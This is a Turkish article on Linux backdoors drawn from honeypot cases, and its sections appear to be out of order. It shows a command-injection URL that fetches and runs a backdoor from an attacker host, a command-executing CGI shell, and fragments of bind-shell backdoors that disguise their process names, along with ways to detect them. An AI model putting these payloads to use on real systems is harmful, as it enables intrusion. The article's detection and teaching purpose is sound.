devamı.. Dosyanın bindshell özelliğini kullanarak 11457. porttan sisteme ulaşmaya çalışır. $ nmap 192.168.1.20 -p1-15000 Starting nmap 3.81 at 2005-07-10 00:27 EEST Interesting ports on 192.168.1.20: (The 14990 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 110/tcp open pop3 143/tcp open imap 11457/tcp open unknown |-- Perl Web Shell vasıtasıyla oluşturulan kapı honeypot@test ]$ telnet 192.168.1.20 11457 |-- Sisteme bağlanılıyor. Trying 192.168.1.20... Connected to 192.168.1.20 (192.168.1.20). Escape character is '^]'. bash: no job control in this shell bash-3.00$ bash-3.00$ id uid=74 gid=74 groups=74 bash-3.00$ pwd /var/www/cgi-bin bash-3.00$ bash-3.00$ bash-3.00$ cat /etc/passwd |-- sistemde çalıştırılan komut. root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/sh pws. pl: ps -aux komutu sonucunda apache isimli kullanıcı tarafından yürütülen komuta dikkat. Kullanıcılar çoğunlukla internetten dosya indirerek sistemlerine kurarlar. Bazen, yüklediğimiz dosyaların yaratacağı sorunları düşünmeden bunları sisteme kurarız. Nedir bu sorunlar? Kim bilir belki uzun uğraşlar sonucu sisteme indirdiğimiz dosya başkası tarafından değiştirilmiştir . $ tar zxvf dosya. tar. gz dosya dosya/getconn. c dosya/Makefile dosya/config. c dosya/main. c dosya/common. h dosya/file. c $ make cc -Wall -g `libnet-config --cflags --defines` -c getconn. c getconn. c: In function `getconn': getconn. c:30: warning: implicit declaration of function `exit' cc config. c -o config./config & | !!!!!!!!!!!!!!! DİKKAT cc -Wall -g `libnet-config --cflags --defines` -c main. c cc -Wall -g `libnet-config --cflags --defines` -c file. c cc -o file getconn. o main. o file. o -L/usr/local/lib -lpcap `libnet-config --libs` Uygulamanın derleme esnasında kullandığı./config & satırına dikkat edelim. Dosya içerisindeki config. c dosyası dikkatle incelendiğinde sistemde arka kapıya neden olan kod olduğu anlaşılır. $ pico config. c... #define port 67 | !!!!!! DİKKAT #define shell "/bin/sh" ... execl(shell, shell, 0); ... Bu dosyanın oluşturduğu kapıyı fark eden biri: $ telnet honeypot. sistem 67 Trying honeypot. sistem... Connected to honeypot. sistem . Escape character is '^]'. id; uid=500 gid=500 groups=81 |-- arka kapı sınır cizgisi Saldırgan sistemde büyük yetkiye ulaştığında bir açık kapı oluşturduğunda bu açık kapıyı sadece kendisinin kullanabileceği şekilde ayarlayabilir. Bu ayardan kasıt, kapıya bir kilit koymasıdır. Kapının şifresi doğru ise sisteme giriş yapar, yanlış ise sisteme giriş izni verilmez. Saldırgan, sistem yöneticisinin, sistemde çalışan uygulamaları görmek istemesi durumunda sahte isimlerle karşılaşması için açık kapı bırakan uygulamalarda kod değişikliği yapabilir. $ ssh -l fizik arkakapili. sistem fizik@arkakapili's password: Last login: Mon Apr 14 01:52:00 2005 from xxx. yyy. zzz. ttt $ cd /tmp $ mkdir. mail $ cd. mail $ cat > net. c #include.. #include.. #define SHELL "/bin/sh" #define SARG "-i" #define PASSWD "ankara" #define PORT 6767 #define FAKEPS "httpd" #define SHELLPS "klogd" ... int main { ... static char pass = PASSWD; ... $ gcc -o net net. c Bu esnada saldırgan sisteme root olarak girmek için açık kapıyı root durumda bırakmak isteyecektir. Bu nedenle normal kullanıcıdan root moduna geçmek için exploitleri deneyecektir. # ./net & Sistemde açık kapı bırakılmadan önce yapılan port taramasının sonucu: # nmap -p 1-10000 arkakapili. sistem Interesting ports on arkakapili. sistem : Port State Service 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop-3 443/tcp open https 3306/tcp open mysql Portlar incelendiğinde herşey normal gözüküyor. Fakat açık kapı bırakıldığında portların durumunu görelim: # nmap -p 1-10000 arkakapili. sistem Interesting ports on arkakapili. sistem : Port State Service 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop-3 443/tcp open https 3306/tcp open mysql 6767/tcp open unknown | ilginc bir port $ telnet arkakapili. sistem 6767 Trying xxx. xxx. xxx. xxx... Connected to arkakapili. sistem . Escape character is '^]'. firtina | Yanlış şifre girildiğinden Connection closed by foreign host. uygulama baglantıyı kopardı. $ telnet arkakapili. sistem 6767 Trying xxx. xxx. xxx. xxx... Connected to arkakapili. sistem . Escape character is '^]'. ankara klogd: no job control in this shell Sistem yöneticisi çalışan uygulamalara baktığında, uygulamaların olağan uygulamalar olduğu kanısına varabilir: # ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.2 0.3 1412 504? S 01:37 0:04 init root 2 0.0 0.0 0 0? SW 01:37 0:00 root 3 0.0 0.0 0 0? SW 01:37 0:00 root 4 0.0 0.0 0 0? SWN 01:37 0:00 root 5 0.0 0.0 0 0? SW 01:37 0:00 named 1018 0.0 1.8 10192 2324? S 01:38 0:00 named -u named... ... fizik 2777 0.0 1.2 2724 1532 pts/6 S 01:52 0:00 -bash root 2808 0.0 1.2 2784 1588? S 01:52 0:00 klogd -i | Dikkat!!!! root 2832 0.0 0.0 1368 104? S 01:52 0:00 httpd ole | Dikkat!!!! root 2932 0.0 0.7 2904 960 pts/1 R 02:08 0:00 ps -aux Ne, nerede? Sistemde çalışan uygulamalari kim nerede çalıştırmış? $ ps -aux.. root 6879 0.0 0.0 1500 432 tty1 Ss+ 21:51 0:00 /sbin/mingetty tty1 root 6880 0.0 0.0 1504 432 tty2 Ss+ 21:51 0:00 /sbin/mingetty tty2... root 16332 0.0 0.0 1360 308 pts/3 S 22:23 0:00./shushi | Dikkat root 16334 0.0 0.1 2600 1616 pts/3 S+ 22:23 0:00 /bin/bash honeypot 16582 0.0 0.1 3112 1876 pts/2 Ss 22:24 0:00 /bin/bash 16332 PID numaralı süreçte neyin nesi? # cd /proc/16332 # ls -la dr-xr-xr-x 4 root root 0 Tem 8 22:24./ dr-xr-xr-x 103 root root 0 Tem 9 2005../ -r 1 root root 0 Tem 8 22:27 auxv -r--r--r-- 1 root root 0 Tem 8 22:24 cmdline lrwxrwxrwx 1 root root 0 Tem 8 22:27 cwd -> /tmp/FILES/ -r 1 root root 0 Tem 8 22:27 environ lrwxrwxrwx 1 root root 0 Tem 8 22:27 exe -> /tmp/FILES/shushi dr-x 2 root root 0 Tem 8 22:24 fd/ -rw-r--r-- 1 root root 0 Tem 8 22:27 loginuid.. nerede > /tmp/FILES ne > shushi Dosyayı inceleyelim. # strings /tmp/FILES/shushi /lib/ld-linux. so.2 _Jv_RegisterClasses gmon_start libc. so.6 printf system setgid seteuid _IO_stdin_used.. clear Now you are r00t!! /bin/bash Strings komutu sonucunda son iki satır neredeyse her şeyi açıklıyor. # ltrace /tmp/FILES/shushi |unfinished...| SIGCHLD |... system resumed> ) = 0 printf("Now you are r00t!!\n\n"Now you are r00t!! ) = 20 seteuid(0) = 0 setuid(0) = 0 setgid(0) = 0 system("/bin/bash" # Durum belli. Dosya zaten +s ve kullanıcıya root yetkisi veriyor. Sistemdeki +s durumundaki dosyaları taramak için: find /bin -type f -perm +6000 -exec ls -la \; -rwsr-xr-x 1 root root 20444 Şub 10 19:52 /bin/su -rwsr-xr-x 1 root root 31180 May 18 2004 /bin/ping -rwsr-xr-x 1 root root 94776 Mar 4 18:38 /bin/mount -rwsr-xr-x 1 root root 30684 Mar 4 18:38 /bin/umount find /sbin -type f -perm +6000 -exec ls -la \; -r-sr-xr-x 1 root root 24583 Eyl 29 2004 /sbin/unix_chkpwd -rwxr-sr-x 1 root root 3444 Şub 22 09:28 /sbin/netreport -rwsr-xr-x 1 root root 21146 Eyl 29 2004 /sbin/pwdb_chkpwd -r-s--x--x 1 root root 12152 Eyl 29 2004 /sbin/pam_timestamp_check sxid ile sistemde suid/sgid türündeki dosyaların varlığını hissettirir. $ mail Mail version 8.1.1 6/6/93. Type? for help. "/var/spool/mail/honeypot": 1 message 1 new >N 1 root@test. honeypot. o Fri Jul 8 22:58 35/903 "No changes found " & 1 sXid Vers : 4.0.4 Check run : Fri Jul 8 22:58:24 2005 This host : test. honeypot. Searching : / Excluding : /proc /mnt /cdrom /floppy Ignore Dirs: /home Forbidden : /home /tmp.. Checking for forbidden s id items: /tmp/FILES/shushi root: root 6755

Backdoor Çok kullanıcılı sistemlerde kullanıcılara, genellikle belirli işlemleri yapması için sistem bünyesinde belirli sınırlamalar getirilir. Bu sınırlamalar içerinde çeşitli uygulamaların çalıştırılması karşın tedbirler alınır. Fakat o kadar çok tedbir alınmasına rağmen ansızın sunucunun kendi kendine göçmesi , bir anda bazı dizinlerde ansızın ortaya çıkan dosyalar(güvendiğiniz uygulamaların oluşturdukları dosyalar hariç) fark edildiğinde yeniden tedbir alma döneminin başlangıç sinyallerini verir. Bir sistem yöneticisinin 'durmadan sistem göçüp duruyor' şeklinde hayıflanmasının sebebi herhangi bir kullanıcının kullandığı küçük kod parçası olabilir (http://linuxreviews.org/news/2004/06/11_kernel_crash). Kayıt verileri incelenerek sistemde meydana gelen durumları büyük ölçüde öğrenebilirsiniz. Çalışan uygulamalar hakkında detaylı bilgiyi veren komut 'ps' komutudur. Bu komut aracılığıyla sistemde çalışan yani kullanıcılar tarafından gerçekleştirilen işlemlerin listesini görebilme imkanımız vardır. Örneğin; firtina@FIRTINA$ ps aux USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND... www-data 4059 0.0 0.0 2000 832? Ss 23:45 0:00 /usr/sbin/tester root 4219 0.0 0.1 3644 1808 pts/2 S+ 23:47 0:00 ssh -l firtina FIRTINA root 4220 0.0 0.1 14500 1980? Ss 23:47 0:00 sshd: firtina .. 'ps' komutu kullanıldığında kullanıcıya ait süreçlere ilişkin bilgiler sunulur. Bu bilgiler belirli bir sınıf altında verilir. Bu bilgiler arasında; uygulama kim tarafından çalıştırılmış / kullandığı bellek miktarı / süreç numarası / sürecin çalıştırıldığı terminal / Sürecin o anki durumu / çalışan uygulama gibi bilgiler yer alır. İnternette saldırıya maruz kalmış bir sunucuda çalışan uygulamaların tespitinde 'ps' komutunun göstereceği sonuç ne derece güvenilirdir? Günümüzde öyle olaylarla karşılaşılmaktadır ki saldırıya uğrayan bir web/mail sunucusuna bağlanan bir kişi saldırgan tarafından sistemde çalıştırılan bir sniffer yardımıyla gözlenip yaptığı işlemler takibe alınır. Neyi takip edecek? Neticesinde web/mail sunucuma bağlanıyorum, evimdeki ya da ofisimdeki bilgisayara mı girecek? diyebilirsiniz. Gerçekleşen bir olayı irdeleyelim: " Sahibi olduğu sunucuda gerekli ayarları yapmak için ofisindeki makinesinden SSH ile sunucusuna bağlanır. Sunucusundaki davetsiz misafirden habersiz gerekli işlemlerini gerçekleştirir. Saldırganın sunucuda oluşturduğu snifferlog / ttylog / sshbackdoor uygulamalarıyla ofisindeki bilgisayarın root şifresi de ele geçmiştir. Çünkü sistem içine ve sistem dışına yapılan tüm bağlantılar kontrol altına alınmıştır." Sunuculara özellikle web sunucularına gerçekleştirilen saldırıların büyük çoğunluğunda temel sebep ana sayfayı değiştirmektir. Sunucuda barındırılan. php, . cgi tipi betik sayfaların zaaflarından yararlanarak sistemdeki web sayfalarını değiştirme oranı son günlerde arttı. . php / . cgi tipi sayfalar aracılığıyla sistemde komutlar çalıştırılarak, sisteme ilişkin verilerin toplanması / kullanıcı şifresi bulma / sisteme dosya aktarma gibi işlemler gerçekleştirilerek web sayfaları değiştirilir. Web sunucularında meydana gelen saldırıların büyük çoğunluğunu iyi yapılandırılmamış kullanıcı hakları, php - cgi tipi sayfalarda bulunan zaaflıklar, kolay tahmin edilebilir şifreler oluşturmaktadır. Neticesinde uzaktan sistemde komut çalıştırmayı başaran bir saldırgan istediği dosyaları sisteme aktararak arkakapı oluşturmayı başardığında, uzaktan sisteme oluşturduğu arka kapı ile bağlanır. Örneğin; http://www/login/?user=|%22%60cd /tmp;wget http://saldirgan/. files/0r;chmod 777 0r;./0r%60%22| Yukarıdaki söz dizimini bir web göstericiye yazdığında saldırgan, uzaktan sistemde bir dizi komut çalıştırarak kendisine ait başka bir adresten arkakapıyı oluşturacak dosyayı çekip çalıştırarak sistemde açık kapı oluşmasını sağlamakta. Sisteme ait herhangi bir kullanıcının şifresini elde eden saldırgan, sisteme tekrar bağlanmak için sistemde arka kapı bırakma olasılığı fazladır. Bu arka kapının türü tamamıyla saldırganın hayal gücüne kalmıştır. Saldırganın gerçekleştirebileceği arka kapılardan bazıları: - Belli süre zarfında içinde geçerli olacak arka kapı açma - Herhangi bir servis açma - Kernel arka kapıları - Dosyaların içine gizlenilen arka kapılar - Rootkitlerin yardımıyla kurulan arka kapılar Saldırganın amacı sistemde olabildiğince uzun yaşamak. Ayrıca sunucuda gezinen bir davetsiz misafir. php. cgi tipi kodlarla sistemde bir gedik oluşturabilir. Örneğin; Aşağıdaki komut. cgi isimli dosyayı sunucunun /cgi-bin dizinine yükleyen misafir, Web göstericiler üzerinden sistemde kodlarda çalıştırabilir. #dir. cgi #!/bin/sh echo Content-type: text/html echo echo "<. pre.>" $ $ lynx http://arkakapi/cgi-bin/dir. cgi?ls /etc Bastille bashrc conf. linuxconf.. Yukarıdaki örnek basitleştirilmiş bir. cgi örneğidir. Gün geçtikçe karşı sistemde, o an makine başındaymış gibi işlemlerin gerçekleştirmesini sağlayan çeşitli. php, . cgi,. pl tipi kodlar geliştirilmekte. Örneğin, bir Perl Web Shell dosyasının sistemde olması sonucunda meydana gelen bir duruma bakalım. Sisteme erişim sadece FTP ile gerçekleştirilsin. Saldırgan sisteme pws. pl dosyasını aktardığında bu dosya vasıtasıyla sisteme dışarıdan bağlanmaya çalışacaktır. Perl Web Shell. Bu dosya vasıtasıyla sistemdeki dosyalar görüntülenebilir, Sistemde çeşitli komutlar çalıştırılabilir.